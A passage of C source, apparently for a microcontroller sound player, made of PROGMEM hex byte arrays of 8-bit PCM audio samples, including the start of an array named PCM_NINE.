46,0x4c,0x53,0x52,0x6b,0x76,0x79,0x98,0x9c,0xa4,0xb5,0xb4,0xb6,0xb7,0xae,0xac,0x9f,0x95,0x92,0x82,0x7f,0x7d,0x77,0x78,0x7c,0x78\n,0x7b,0x7b,0x73,0x70,0x64,0x58,0x49,0x3b,0x2f,0x22,0x24,0x2e,0x22,0x4b,0x60,0x61,0xa3,0xad,0xbf,0xea,0xeb,0xea,0xf5,0xe2,0xca,0xbb,0x9b,0x80,0x65,0x53,0x43,0x36\n,0x36,0x42,0x42,0x58,0x72,0x7e,0x98,0xab,0xbe,0xc1,0xce,0xd1,0xc2,0xc1,0xb9,0xa0,0x98,0x90,0x7a,0x79,0x77,0x6f,0x74,0x7c,0x7c,0x84,0x87,0x84,0x85,0x78,0x6c,0x5e\n,0x42,0x34,0x24,0x0c,0x0a,0x09,0x15,0x19,0x3c,0x65,0x69,0xab,0xc6,0xd0,0xfb,0xff,0xf4,0xf8,0xe5,0xc1,0xaf,0x8c,0x6b,0x50,0x3e,0x2d,0x25,0x25,0x30,0x39,0x46,0x67\n,0x6c,0x89,0xa4,0xa1,0xbc,0xc5,0xb8,0xc9,0xbe,0xac,0xb5,0x9c,0x90,0x92,0x7e,0x7a,0x7f,0x76,0x7b,0x83,0x82,0x8a,0x8a,0x8b,0x87,0x7d,0x75,0x64,0x50,0x41,0x2c,0x1a\n,0x14,0x0b,0x0c,0x26,0x24,0x45,0x79,0x72,0xb4,0xd1,0xcf,0xff,0xff,0xf1,0xf8,0xe3,0xbf,0xb3,0x8d,0x72,0x59,0x46,0x39,0x2d,0x31,0x38,0x3f,0x4e,0x6b,0x6d,0x89,0xa3\n,0xa0,0xb8,0xc9,0xb9,0xc8,0xca,0xb2,0xbc,0xaf,0x9c,0x9f,0x94,0x89,0x8c,0x89,0x85,0x8b,0x8d,0x8e,0x8e,0x91,0x8d,0x81,0x7f,0x6f,0x5b,0x4e,0x3d,0x27,0x1b,0x18,0x0c\n,0x10,0x22,0x33,0x3a,0x6c,0x87,0x8c,0xcd,0xd2,0xd7,0xfe,0xef,0xe1,0xe5,0xc8,0xa7,0x9a,0x77,0x5d,0x49,0x3b,0x2c,0x28,0x2c,0x33,0x3b,0x50,0x65,0x6a,0x91,0x9a,0xa1\n,0xbf,0xbd,0xbf,0xcc,0xc0,0xba,0xbc,0xa7,0xa3,0x9b,0x8f,0x88,0x87,0x80,0x7f,0x83,0x80,0x84,0x82,0x85,0x82,0x7a,0x79,0x6e,0x5e,0x5a,0x48,0x38,0x33,0x26,0x1f,0x21\n,0x21,0x2c,0x42,0x42,0x6d,0x80,0x86,0xc0,0xba,0xc9,0xe8,0xd7,0xd3,0xdc,0xb9,0xa8,0xa2,0x7b,0x6d,0x5d,0x4e,0x41,0x43,0x42,0x46,0x53,0x60,0x70,0x7b,0x91,0xa3,0xa4\n,0xb8,0xc7,0xb8,0xcb,0xc9,0xb5,0xbf,0xb3,0x9f,0xa4,0x98,0x89,0x8f,0x89,0x82,0x8b,0x8c,0x8a,0x93,0x91,0x91,0x90,0x88,0x82,0x75,0x69,0x5b,0x48,0x3e,0x2e,0x23,0x21\n,0x1b,0x1f,0x29,0x3b,0x40,0x5f,0x7b,0x7a,0xab,0xb2,0xb6,0xd5,0xcd,0xc6,0xcc,0xba,0xa3,0x9f,0x83,0x74,0x66,0x5a,0x4f,0x4d,0x4d,0x50,0x55,0x60,0x6b,0x71,0x82,0x88\n,0x95,0x95,0xa4,0xa3,0xa1,0xae,0xa6,0xa3,0xac,0xa3,0xa0,0xa7,0x9a,0x9e,0x9f,0x97,0x9a,0x98,0x93,0x94,0x91,0x89,0x87,0x7f,0x76,0x70,0x64,0x5a,0x53,0x46,0x3e,0x37\n,0x2d,0x2e,0x2a,0x2b,0x35,0x42,0x40,0x64,0x6e,0x71,0xa4,0x9b,0xaf,0xca,0xbf,0xc3,0xce,0xba,0xb1,0xb2,0x94,0x8f,0x82,0x74,0x6a,0x66,0x60,0x5e,0x5f,0x63,0x67,0x6a\n,0x78,0x77,0x83,0x8f,0x8e,0x9c,0xa7,0xa3,0xb1,0xb7,0xae,0xba,0xb8,0xad,0xb3,0xac,0x9f,0xa3,0x99,0x90,0x92,0x8b,0x86,0x88,0x84,0x81,0x81,0x7c,0x77,0x74,0x68,0x62\n,0x57,0x4a,0x42,0x36,0x30,0x2b,0x26,0x2e,0x33,0x31,0x53,0x56,0x60,0x8e,0x87,0x9c,0xbc,0xb2,0xbd,0xce,0xba,0xba,0xbd,0xa0,0x9d,0x93,0x7e,0x75,0x70,0x60,0x5f,0x5d\n,0x58,0x5d,0x5e,0x66,0x69,0x74,0x78,0x82,0x8c,0x8e,0x99,0x9f,0x9e,0xa6,0xa8,0xa1,0xa9,0xa2,0x9f,0xa0,0x9b,0x98,0x99,0x97,0x93,0x97,0x93,0x92,0x92,0x8d,0x88,0x84\n,0x7a,0x71,0x68,0x59,0x50,0x44,0x37,0x32,0x2a,0x24,0x28,0x25,0x36,0x35,0x44,0x63,0x58,0x82,0x91,0x8f,0xb5,0xb7,0xb4,0xca,0xc4,0xb3,0xc4,0xad,0xa1,0xa3,0x91,0x85\n,0x85,0x7a,0x71,0x76,0x6e,0x71,0x6f,0x76,0x73,0x79,0x7e,0x7d,0x85,0x87,0x87,0x8f,0x90,0x8e,0x98,0x95,0x98,0x9d,0x9e,0x9f,0xa5,0xa6,0xa6,0xad,0xa9,0xab,0xab,0xa5\n,0xa2,0x9b,0x92,0x8a,0x7f,0x74,0x69,0x5d,0x52,0x48,0x3e,0x38,0x33,0x2e,0x2e,0x2f,0x2f,0x39,0x42,0x3e,0x5d,0x5c,0x62,0x86,0x7a,0x8d,0xa4,0x9a,0xa4,0xb6,0xa5,0xab\n,0xb5,0xa0,0xa5,0xa3,0x95,0x92,0x92,0x81,0x83,0x7e,0x75,0x74,0x71,0x6c,0x68,0x6c,0x65,0x69,0x6b,0x6c,0x6f,0x76,0x78,0x81,0x86,0x8c,0x96,0x97,0xa4,0xa4,0xa9,0xb1\n,0xac,0xae,0xb1,0xa7,0xa6,0xa3,0x95,0x92,0x8a,0x7d,0x78,0x71,0x65,0x63,0x5e,0x55,0x55,0x51,0x4c,0x4b,0x4b,0x45,0x47,0x47,0x45,0x4e,0x47,0x58,0x5c,0x5f,0x79,0x78\n,0x87,0x9d,0x9f,0xa8,0xbd,0xb3,0xbb,0xc3,0xb4,0xb6,0xb2,0xa5,0x9e,0x9b,0x8c,0x88,0x82,0x7a,0x75,0x71,0x6f,0x6a,0x6e,0x6b,0x6c,0x70,0x72,0x74,0x7a,0x7e,0x80,0x88\n,0x8b,0x8f,0x94,0x98,0x9a,0x9e,0xa0,0xa2,0xa2,0xa4,0xa3,0x9e,0xa0,0x99,0x94,0x91,0x89,0x81,0x7c,0x74,0x6d,0x67,0x63,0x5d,0x5a,0x59,0x56,0x55,0x55,0x53,0x53,0x53\n,0x54,0x52,0x59,0x57,0x59,0x68,0x62,0x71,0x7e,0x7d,0x8e,0x99,0x98,0xa7,0xad,0xa7,0xb2,0xad,0xa8,0xa9,0xa2,0x9a,0x97,0x8d,0x87,0x81,0x79,0x76,0x6d,0x6b,0x67,0x63\n,0x63,0x62,0x62,0x66,0x69,0x6c,0x75,0x78,0x80,0x86,0x8b,0x92,0x98,0x99,0x9f,0x9f,0xa0,0xa2,0x9e,0x9d,0x99,0x95,0x90,0x8a,0x85,0x80,0x7a,0x75,0x71,0x6c,0x6a,0x68\n,0x66,0x66,0x66,0x67,0x69,0x6a,0x6c,0x6e,0x70,0x71,0x72,0x73,0x74,0x73,0x77,0x77,0x76,0x80,0x7f,0x81,0x8e,0x8d,0x92,0x9f,0x9c,0xa0,0xa8,0xa0,0xa1,0xa1,0x98,0x94\n,0x90,0x88,0x84,0x7f,0x79,0x78,0x73,0x74,0x72,0x71,0x73,0x72,0x73,0x75,0x75,0x77,0x7a,0x7a,0x7d,0x80,0x80,0x83,0x87,0x87,0x8b,0x8d,0x8d,0x90,0x91,0x90,0x91,0x91\n,0x8e,0x8c,0x89,0x85,0x81,0x7c,0x79,0x74,0x70,0x6e,0x6b,0x69,0x69,0x68,0x68,0x6b,0x6c,0x6f,0x72,0x75,0x78,0x7b,0x7f,0x80,0x81,0x83,0x83,0x82,0x81,0x80,0x7f,0x7b\n,0x7e,0x7b,0x7a,0x7e,0x7c,0x7d,0x82,0x81,0x82,0x88,0x85,0x87,0x89,0x87,0x87,0x87,0x83,0x85,0x82,0x80,0x81,0x7d,0x7d,0x7d,0x7c,0x7b,0x7d,0x7b,0x7c,0x7e,0x7d,0x80\n,0x82,0x83,0x85,0x88,0x88,0x8a,0x8c,0x8c,0x8c,0x8c,0x8c,0x8b,0x8a,0x88,0x87,0x86,0x85,0x83,0x83,0x82,0x81,0x81,0x80,0x7f,0x7f,0x7f,0x7e,0x7e,0x7f,0x7d,0x7e,0x7e\n,0x7d,0x7d,0x7e,0x7c,0x7c,0x7c,0x7b,0x7b,0x7b,0x79,0x79,0x79,0x78,0x79,0x79,0x79,0x7a,0x7b,0x7b,0x7c,0x7c,0x7c,0x7c,0x7d,0x7d,0x7d,0x7e,0x7f,0x80,0x82,0x83,0x84\n,0x86,0x87,0x88,0x89,0x8a,0x89,0x89,0x88,0x86,0x85,0x84,0x81,0x80,0x7e,0x7c,0x7b,0x79,0x79,0x78,0x78,0x79,0x79,0x7a,0x7b,0x7c,0x7f,0x80,0x81,0x83,0x84,0x85,0x85\n,0x86,0x85,0x85,0x84,0x82,0x81,0x80,0x7f,0x7d,0x7d,0x7c,0x7c,0x7c,0x7b,0x7c,0x7d,0x7d,0x7d,0x7e,0x7d,0x7d,0x7e,0x7d,0x7c,0x7d,0x7c,0x7b,0x7c,0x7b,0x7b,0x7b,0x7c\n,0x7c,0x7c,0x7d,0x7d,0x7e,0x7f,0x80,0x81,0x82,0x83,0x84,0x85,0x85,0x86,0x87,0x87,0x87,0x87,0x87,0x87,0x86,0x85,0x85,0x84,0x83,0x83,0x82,0x81,0x81,0x81,0x80,0x80\n,0x80,0x7f,0x7f,0x80,0x7f,0x80,0x80,0x80,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x80,0x80,0x80,0x7f,0x7f,0x7e,0x7d,0x7d,0x7c,0x7b\n,0x7b,0x7b,0x7a,0x7a,0x7a,0x7a,0x7a,0x7b,0x7b,0x7b,0x7c,0x7c,0x7d,0x7d,0x7d,0x7d,0x7e,0x7e,0x7f,0x7f,0x7f,0x80,0x80,0x82,0x82,0x82,0x83,0x83,0x83,0x83,0x83,0x82\n,0x82,0x81,0x81,0x80,0x7f,0x7f,0x7e,0x7e,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7e,0x7e,0x7e,0x7f,0x80,0x80,0x81,0x81,0x81,0x82,0x82,0x82,0x82,0x82,0x82,0x81,0x81\n,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x81,0x82,0x82,0x82,0x83,0x83,0x83,0x83,0x83,0x83\n,0x82,0x82,0x81,0x81,0x80,0x80,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7e,0x7f,0x7f,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7e,0x7f};\n\nconst char unsigned PROGMEM PCM_NINE[]={\n0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7d,0x7d,0x7d,0x7c,0x7c,0x7c,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c\n,0x7c,0x7c,0x7c,0x7c,0x7d,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7d,0x7d,0x7e,0x7e,0x7e,0x7e,0x7f,0x7f,0x80,0x80,0x81,0x81,0x82,0x82,0x82,0x83,0x83\n,0x83,0x84,0x84,0x84,0x84,0x84,0x84,0x84,0x83,0x83,0x83,0x83,0x83,0x84,0x84,0x84,0x83,0x83,0x83,0x83,0x83,0x83,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82\n,0x82,0x82,0x82,0x82,0x82,0x82,0x81,0x81,0x81,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7d,0x7d\n,0x7d,0x7d,0x7e,0x7e,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7c,0x7c,0x7c,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7a,0x7a,0x7a,0x7a,0x7a,0x7a\n,0x7a,0x7a,0x79,0x79,0x79,0x78,0x77,0x77,0x77,0x76,0x76,0x75,0x75,0x75,0x75,0x76,0x76,0x77,0x77,0x77,0x77,0x78,0x78,0x79,0x79,0x7a,0x7a,0x79,0x79,0x79,0x79,0x79\n,0x79,0x78,0x79,0x7a,0x7c,0x80,0x83,0x86,0x8a,0x8f,0x92,0x96,0x9a,0x9e,0xa2,0xa4,0xa6,0xa6,0xa5,0xa3,0xa0,0x9d,0x99,0x95,0x90,0x8c,0x87,0x82,0x7d,0x78,0x73,0x6e\n,0x69,0x64,0x5f,0x5b,0x55,0x50,0x4a,0x44,0x3f,0x3c,0x3b,0x3f,0x45,0x49,0x53,0x63,0x72,0x81,0x91,0x9f,0xac,0xb6,0xb8,0xba,0xbb,0xb8,0xb4,0xb0,0xaa,0xa4,0xa0,0x9b\n,0x97,0x96,0x94,0x92,0x90,0x8e,0x8d,0x8e,0x8c,0x8c,0x8c,0x8c,0x8d,0x8c,0x8a,0x8b,0x8b,0x8b,0x8c,0x8c,0x8c,0x8c,0x8a,0x88,0x85,0x81,0x7d,0x77,0x70,0x68,0x60,0x55\n,0x4a,0x3e,0x32,0x28,0x1f,0x1d,0x20,0x21,0x27,0x37,0x46,0x56,0x6a,0x7d,0x8f,0x9e,0xa4,0xa8,0xae,0xaf,0xac,0xaa,0xa5,0xa0,0x9e,0x9b,0x96,0x94,0x93,0x91,0x90,0x8d\n,0x8a,0x88,0x88,0x89,0x88,0x88,0x8d,0x90,0x92,0x95,0x97,0x9a,0x9d,0x9f,0x9f,0xa0,0xa0,0xa1,0xa0,0x9d,0x9a,0x96,0x92,0x8b,0x83,0x7b,0x73,0x6a,0x5e,0x53,0x49,0x3e\n,0x35,0x2b,0x23,0x1f,0x21,0x29,0x30,0x3a,0x4d,0x60,0x71,0x85,0x96,0xa4,0xb1,0xb6,0xb6,0xb7,0xb6,0xb3,0xaf,0xa9,0xa3,0xa0,0x9d,0x98,0x94,0x90,0x8c,0x89,0x84,0x80\n,0x7e,0x7d,0x7e,0x7f,0x7f,0x82,0x87,0x8c,0x91,0x95,0x97,0x9b,0x9f,0xa1,0xa1,0xa0,0xa0,0xa0,0x9e,0x9a,0x95,0x90,0x8c,0x86,0x7d,0x74,0x6d,0x64,0x5a,0x4f,0x43,0x3a\n,0x32,0x28,0x21,0x1c,0x1b,0x22,0x2a,0x2f,0x3b,0x4e,0x60,0x72,0x82,0x90,0x9d,0xa7,0xa9,0xa9,0xa8,0xa6,0xa5,0xa1,0x99,0x93,0x91,0x90,0x8e,0x8a,0x85,0x84,0x84,0x80\n,0x7e,0x7e,0x7e,0x80,0x83,0x86,0x8a,0x8f,0x95,0x9c,0xa2,0xa6,0xa9,0xad,0xb1,0xb2,0xb1,0xb0,0xae,0xac,0xa8,0xa2,0x9b,0x94,0x8e,0x86,0x7d,0x74,0x6a,0x60,0x57,0x4c\n,0x42,0x39,0x30,0x28,0x22,0x1e,0x1f,0x26,0x2e,0x35,0x41,0x55,0x68,0x78,0x89,0x97,0xa5,0xaf,0xb1,0xb1,0xb0,0xae,0xad,0xab,0xa4,0x9e,0x9b,0x9b,0x9b,0x97,0x92,0x90\n,0x8f,0x8d,0x8a,0x86,0x84,0x84,0x86,0x88,0x8c,0x8e,0x93,0x9c,0xa5,0xab,0xad,0xad,0xae,0xb1,0xb0,0xad,0xa7,0xa3,0x9e,0x9a,0x93,0x8a,0x81,0x78,0x75,0x6a,0x5c,0x4c\n,0x3f,0x33,0x27,0x14,0x06,0x01,0x00,0x0c,0x26,0x48,0x52,0x69,0x76,0x8a,0x9e,0x89,0x87,0x84,0x7e,0x83,0x7a,0x74,0x81,0x93,0x99,0x9f,0xa0,0x99,0xa9,0x9b,0x87,0x82\n,0x76,0x7a,0x7f,0x75,0x7e,0x93,0x98,0xa5,0xa2,0xa0,0xad,0xac,0xa8,0xad,0xaa,0xb1,0xb5,0xa8,0xa9,0xa7,0xa6,0xa7,0x9e,0x98,0x9a,0x91,0x89,0x7d,0x70,0x6d,0x65,0x56\n,0x49,0x3b,0x39,0x38,0x2b,0x23,0x1d,0x1d,0x2f,0x3f,0x5c,0x90,0x85,0x89,0x88,0x7b,0x93,0x77,0x67,0x76,0x7c,0x93,0x9e,0x95,0xa0,0xae,0xa7,0x9e,0x92,0x81,0x8e,0x89\n,0x79,0x80,0x7e,0x8a,0x95,0x85,0x9a,0xa7,0xa5,0xaa,0x99,0xa5,0xaf,0xa9,0xa7,0xa6,0xa9,0xb3,0xa8,0xa2,0xa0,0x9e,0xa3,0x9e,0x96,0x93,0x8e,0x82,0x7c,0x70,0x6b,0x61\n,0x55,0x4c,0x46,0x41,0x3b,0x34,0x2d,0x29,0x1d,0x0b,0x08,0x1d,0x46,0x8c,0x83,0x75,0x78,0x6f,0x8e,0x7b,0x5f,0x61,0x75,0x96,0x9e,0x94,0x8e,0x97,0xa5,0x9e,0x8e,0x7f\n,0x87,0x92,0x8e,0x88,0x7b,0x82,0x8c,0x8e,0x91,0x99,0xa5,0xab,0xad,0xac,0xab,0xaa,0xa2,0xa2,0xa9,0xab,0xb0,0xaf,0xad,0xac,0xa9,0xa4,0x9f,0x9e,0x96,0x91,0x8c,0x86\n,0x82,0x78,0x6a,0x5f,0x50,0x48,0x44,0x3d,0x3a,0x30,0x23,0x19,0x0c,0x11,0x2c,0x53,0x8e,0x98,0x80,0x7f,0x6f,0x7e,0x8c,0x6c,0x6c,0x81,0x90,0xb1,0xb0,0x96,0x98,0x9e\n,0xa1,0xa8,0x99,0x85,0x8e,0x91,0x91,0x92,0x81,0x7c,0x87,0x89,0x91,0xa3,0xa9,0xaf,0xb2,0xa7,0x9e,0x9c,0x95,0x9c,0xa7,0xa8,0xaa,0xa8,0xa1,0xa4,0xa5,0xa0,0xa1,0x9d\n,0x96,0x96,0x8f,0x82,0x79,0x69,0x5c,0x58,0x50,0x4c,0x51,0x4a,0x43,0x3a,0x2b,0x25,0x21,0x16,0x14,0x12,0x0f,0x1e,0x41,0x94,0xa5,0x97,0x80,0x47,0x76,0x8d,0x75,0x8e\n,0x74,0x85,0xc6,0xba,0xb7,0xa2,0x7d,0x8c,0xa3,0x9e,0x96,0x94,0x83,0x9b,0xac,0x8f,0x8d,0x75,0x6b,0x96,0x9d,0x97,0x9e,0x95,0x9f,0xc1,0xaf,0x9f,0x9d,0x8b,0xaf,0xc9\n,0xbd,0xc4,0xb5,0xaa,0xb8,0xa8,0x96,0x8f,0x85,0x8e,0x96,0x7d,0x61,0x4b,0x3f,0x4b,0x4c,0x3e,0x33,0x2c,0x2f,0x31,0x1d,0x09,0x02,0x18,0x42,0x86,0xa2,0x8b,0x88,0x66\n,0x76,0x9f,0x7e,0x8a,0x85,0x83,0xc0,0xc4,0xba,0xb5,0x8f,0x94,0xab,0xa8,0xa3,0x95,0x7e,0x85,0x9a,0x8f,0x92,0x7e,0x68,0x82,0xa2,0xb0,0xaf,0x92,0x7d,0x99,0x9a,0x9c\n,0x9b,0x8d,0xa2,0xb5,0xaf,0xaa,0x95,0x89,0x9c,0x9f,0xa0,0x96,0x7e,0x7e,0x79,0x71,0x68,0x53,0x46,0x45,0x46,0x47,0x40,0x34,0x31,0x32,0x2a,0x1a,0x0b,0x0e,0x2b,0x58\n,0x91,0x95,0x8c,0x7f,0x5d,0x85,0x85,0x82,0x97,0x7a,0x98,0xb4,0xae,0xbe,0xa7,0x90,0xa1,0xa0,0xa4,0xa5,0x8e,0x85,0x8f,0x90,0x95,0x97,0x77,0x8b,0x9f,0x9e,0xb8,0x91\n,0x91,0xa3,0x93,0xa3,0x9a,0x91,0xa2,0xa1,0x9b,0xa5,0x99,0xa0,0xa6,0x9d,0x9e,0x91,0x80,0x7d,0x7c,0x79,0x7e,0x6b,0x5e,0x4f,0x42,0x43,0x3c,0x3d,0x38,0x2b,0x23,0x1d\n,0x2e,0x4a,0x7a,0x96,0x85,0x7f,0x56,0x61,0x88,0x7c,0x9c,0x8b,0x7d,0xa4,0x9b,0xae,0xb2,0x90,0x99,0x9a,0xa2,0xb5,0xa2,0x8f,0x81,0x7c,0x83,0x95,0x8c,0x8e,0xa5,0x9c\n,0xb2,0x98,0x86,0x93,0x83,0x94,0x91,0x8e,0x9e,0x99,0x94,0x93,0x84,0x8d,0x94,0x94,0x9d,0x91,0x8a,0x83,0x79,0x74,0x6b,0x60,0x5c,0x57,0x52,0x4f,0x45,0x3f,0x3a,0x2f\n,0x27,0x1e,0x23,0x3c,0x69,0x99,0x93,0x89,0x5d,0x49,0x71,0x6f,0x90,0x8f,0x76,0x96,0x96,0xa7,0xb6,0x91,0x88,0x87,0x8c,0xaa,0xa9,0x99,0x8a,0x7f,0x80,0x91,0x90,0x92\n,0xa2,0x9d,0xaf,0xa2,0x96,0x97,0x8c,0x94,0x91,0x92,0x9c,0x9f,0xa4,0xa1,0x91,0x8d,0x8b,0x90,0x9a,0x95,0x91,0x88,0x81,0x7e,0x77,0x70,0x67,0x5f,0x5a,0x5a,0x57,0x53\n,0x4c,0x3c,0x34,0x2c,0x31,0x44,0x61,0x90,0x97,0x96,0x79,0x57,0x6f,0x69,0x82,0x8e,0x77,0x8f,0x8d,0x9b,0xb2,0x9f,0x95,0x87,0x81,0x94,0xa0,0x9d,0x91,0x83,0x79,0x87\n,0x8d,0x93,0xa0,0x97,0x9f,0x96,0x92,0x9c,0x94,0x96,0x8a,0x82,0x8a,0x91,0x9b,0x9b,0x8f,0x8b,0x87,0x8d,0x95,0x8f,0x87,0x79,0x73,0x76,0x77,0x77,0x6c,0x61,0x57,0x54\n,0x53,0x51,0x49,0x3f,0x38,0x2e,0x2d,0x36,0x4b,0x79,0x92,0x8f,0x88,0x61,0x66,0x73,0x74,0x92,0x82,0x81,0x8d,0x8b,0xa6,0xa9,0x9a,0x91,0x85,0x8b,0x9b,0x9f,0x96,0x8b\n,0x7d,0x7e,0x8c,0x8f,0x9b,0xa0,0x9c,0xa1,0x94,0x99,0x9e,0x9c,0x9d,0x8f,0x8e,0x93,0x98,0xa1,0x9c,0x96,0x90,0x8e,0x97,0x9a,0x98,0x8d,0x7d,0x77,0x73,0x78,0x79,0x71\n,0x68,0x5c,0x5a,0x59,0x57,0x53,0x48,0x3d,0x32,0x30,0x37,0x49,0x68,0x83,0x8b,0x89,0x73,0x6a,0x77,0x75,0x89,0x89,0x80,0x90,0x8c,0x9a,0xa7,0x9d,0x99,0x90,0x8b,0x92\n,0x97,0x93,0x8b,0x86,0x7e,0x89,0x8d,0x8c,0x9b,0x91,0x98,0x96,0x8a,0x9a,0x93,0x95,0x92,0x88,0x91,0x93,0x98,0x98,0x8e,0x8c,0x8b,0x94,0x9a,0x95,0x8b,0x7b,0x77,0x77\n,0x7b,0x7c,0x73,0x68,0x5d,0x58,0x57,0x55,0x54,0x4f,0x46,0x3c,0x30,0x2f,0x34,0x3f,0x55,0x73,0x82,0x84,0x7f,0x6c,0x79,0x7d,0x7e,0x90,0x84,0x8e,0x9a,0x96,0xa8,0xa4\n,0x9c,0x9a,0x92,0x92,0x95,0x95,0x8f,0x91,0x8d,0x88,0x90,0x84,0x88,0x93,0x92,0xa2,0x9b,0x91,0x96,0x8d,0x94,0x98,0x96,0x9c,0x98,0x94,0x96,0x96,0x9c,0xa0,0x9d,0x97\n,0x8d,0x83,0x85,0x87,0x88,0x85,0x79,0x6e,0x64,0x5f,0x61,0x5e,0x5b,0x55,0x51,0x4e,0x46,0x3f,0x33,0x31,0x38,0x47,0x71,0x88,0x8b,0x89,0x6e,0x74,0x82,0x7f,0x94,0x8e\n,0x8a,0x9a,0x97,0xa4,0xaa,0x9e,0x98,0x92,0x92,0x94,0x9b,0x93,0x89,0x89,0x7d,0x84,0x87,0x7a,0x81,0x85,0x8c,0x9b,0x93,0x87,0x86,0x7c,0x87,0x94,0x92,0x97,0x8f,0x8b\n,0x94,0x95,0x99,0x95,0x8c,0x89,0x86,0x8b,0x8e,0x89,0x7f,0x73,0x6a,0x64,0x63,0x60,0x60,0x5d,0x58,0x57,0x51,0x4e,0x44,0x37,0x32,0x2f,0x37,0x48,0x66,0x8c,0x92,0x8d\n,0x7e,0x71,0x86,0x87,0x8b,0x97,0x8b,0x9b,0xa8,0xa8,0xb4,0xa8,0x9c,0x99,0x98,0x9a,0x99,0x97,0x8b,0x8b,0x8d,0x86,0x89,0x7d,0x72,0x7e,0x8a,0x9c,0xa6,0x96,0x84,0x7c\n,0x7f,0x90,0x9d,0x98,0x92,0x8f,0x90,0x9d,0x9f,0x99,0x93,0x89,0x8b,0x8f,0x90,0x8e,0x82,0x76,0x6e,0x69,0x68,0x65,0x64,0x62,0x60,0x5f,0x5b,0x57,0x4d,0x42,0x3b,0x33\n,0x32,0x36,0x44,0x65,0x92,0x9f,0x90,0x83,0x6a,0x7a,0x91,0x89,0x99,0x97,0x93,0xaf,0xae,0xaa,0xa6,0x8f,0x8e,0x96,0x9c,0x98,0x91,0x89,0x80,0x85,0x82,0x76,0x72,0x6a\n,0x6e,0x83,0x91,0x95,0x92,0x7f,0x74,0x7c,0x7e,0x8a,0x91,0x8a,0x94,0x99,0x99,0x9c,0x8c,0x83,0x85,0x87,0x90,0x94,0x8e,0x85,0x7b,0x70,0x69,0x65,0x5e,0x61,0x66,0x69\n,0x6e,0x67,0x5d,0x50,0x44,0x40,0x41,0x3e,0x3b,0x3d,0x48,0x62,0x8c,0xaa,0x94,0x81,0x7b,0x76,0x9c,0xa0,0x8b,0x9d,0x9b,0xa6,0xbe,0xa9,0x99,0x99,0x93,0x9d,0xa7,0x95\n,0x88,0x86,0x81,0x86,0x84,0x77,0x72,0x73,0x78,0x7b,0x84,0x8b,0x8a,0x90,0x84,0x7a,0x86,0x88,0x93,0x9c,0x8f,0x90,0x96,0x94,0x99,0x93,0x89,0x8d,0x90,0x8f,0x93,0x88\n,0x78,0x77,0x6f,0x6b,0x6e,0x66,0x67,0x6d,0x67,0x65,0x5e,0x52,0x4f,0x4b,0x49,0x4b,0x44,0x40,0x46,0x53,0x6d,0x8e,0xa1,0x8a,0x7f,0x8c,0x8d,0xa1,0x9a,0x7d,0x8d,0xa0\n,0xa4,0xaf,0xa3,0x8f,0x9b,0x9d,0x8d,0x89,0x7c,0x7b,0x89,0x85,0x7c,0x76,0x70,0x72,0x6e,0x69,0x69,0x77,0x8d,0x93,0x91,0x85,0x80,0x85,0x88,0x88,0x87,0x92,0x9a,0x9d\n,0x9a,0x8e,0x90,0x94,0x90,0x8d,0x85,0x86,0x8a,0x82,0x78,0x6f,0x6b,0x6d,0x6c,0x67,0x65,0x67,0x67,0x65,0x61,0x57,0x54,0x52,0x4d,0x47,0x46,0x51,0x5f,0x71,0x8c,0xa4\n,0x96,0x8e,0x9d,0x96,0x93,0x93,0x83,0x90,0xa9,0x9f,0x9b,0xa4,0x9c,0x9a,0x94,0x81,0x81,0x8a,0x85,0x81,0x7a,0x79,0x7a,0x73,0x6e,0x68,0x69,0x79,0x84,0x85,0x8f,0x94\n,0x90,0x8a,0x80,0x7f,0x8a,0x8f,0x92,0x98,0x99,0x9c,0x9c,0x92,0x8c,0x8a,0x88,0x86,0x86,0x84,0x7e,0x78,0x74,0x70,0x6f,0x6b,0x66,0x67,0x6a,0x68,0x66,0x61,0x5b,0x55\n,0x50,0x4d,0x47,0x46,0x4f,0x5b,0x6c,0x86,0x9d,0x91,0x8d,0x9f,0x92,0x89,0x8c,0x86,0x8c,0x99,0x8f,0x91,0xa5,0xa0,0x93,0x90,0x89,0x89,0x85,0x7a,0x78,0x77,0x76,0x70\n,0x69,0x71,0x75,0x71,0x73,0x7e,0x8a,0x89,0x8f,0x8c,0x89,0x8a,0x87,0x8d,0x94,0x96,0x95,0x98,0x9d,0x9c,0x91,0x8f,0x8d,0x8d,0x8b,0x86,0x84,0x7e,0x7a,0x74,0x72,0x70\n,0x6e,0x6b,0x6d,0x70,0x6e,0x6b,0x68,0x64,0x59,0x54,0x54,0x52,0x4e,0x50,0x59,0x68,0x7b,0x93,0x97,0x8b,0x9c,0x9d,0x8d,0x91,0x90,0x88,0x8d,0x8e,0x90,0x9e,0x9c,0x95\n,0x96,0x96,0x8f,0x88,0x83,0x81,0x79,0x71,0x73,0x72,0x73,0x75,0x74,0x77,0x83,0x84,0x86,0x90,0x90,0x8b,0x8a,0x8e,0x8e,0x8e,0x8f,0x94,0x98,0x96,0x94,0x93,0x95,0x92\n,0x8c,0x87,0x88,0x84,0x7c,0x78,0x76,0x73,0x6e,0x6d,0x6e,0x6e,0x6d,0x6b,0x69,0x69,0x66,0x61,0x5a,0x56,0x51,0x49,0x49,0x4e,0x55,0x62,0x74,0x8c,0x8a,0x8e,0xa4,0x95\n,0x8c,0x94,0x